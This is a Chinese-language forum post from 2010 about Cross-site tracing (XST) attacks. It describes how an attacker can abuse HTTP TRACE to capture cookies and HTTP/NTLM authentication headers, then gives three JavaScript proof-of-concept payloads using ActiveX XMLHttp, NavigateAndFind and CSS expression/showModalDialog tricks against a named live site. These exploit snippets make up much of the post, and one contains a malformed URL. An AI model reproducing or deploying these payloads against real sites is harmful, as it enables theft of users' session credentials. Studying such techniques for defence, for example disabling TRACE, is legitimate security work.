韩小末 发表于 2010-2-3 21:39:19

Cross-site tracing XST攻击

XST攻击描述:

  攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的 cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。

XST攻击条件:

  1、需要目标web服务器允许Trace参数;
  2、需要一个用来插入XST代码的地方;
  3、目标站点存在跨域漏洞。

XST与XSS的比较:

  相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击.
  优点:可以绕过一般的http验证以及NTLM验证。

详细资料文档:http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf

利用手法1:   

<script type="text/javascript">
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}

//-->
</script>
<INPUT TYPE=BUTTON OnClick="xssTRACE();" VALUE=’XSS TRACE’>   


手法2:

<script type="text/javascript">
<!--
function xssTRACE() {
var openWin=open("blank.htm","swords","width=500,height=400");
var otraceswords=openWin.external;
openWin.location.href="http://wmjie.51.net/swords/";
setTimeout(
function () {
//以下必须写在一行
otraceswords.NavigateAndFind(’javascript:xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert("不用document.Cookie 显示站点wmjie.51.net/swords/ 的头信息。\\n" + xmlDoc);’,"","");
},
1024
);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="xssTRACE();" VALUE=’XSS TRACE’>


手法3:

<script type="text/javascript">
function xssTRACE(){
var swords = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.open(\"TRACE\",\"http://http://www.tingh.com/\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;";
var target = "http://wmjie.51.net/swords/";
spinach = encodeURIComponent(swords + ’;top.close()’);
var readyCode = ’font-size:expression(execScript(decodeURIComponent("’ + spinach + ’")))’;
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick="xssTRACE()" VALUE=’XSS TRACE’>
页: [1]
查看完整版本: Cross-site tracing XST攻击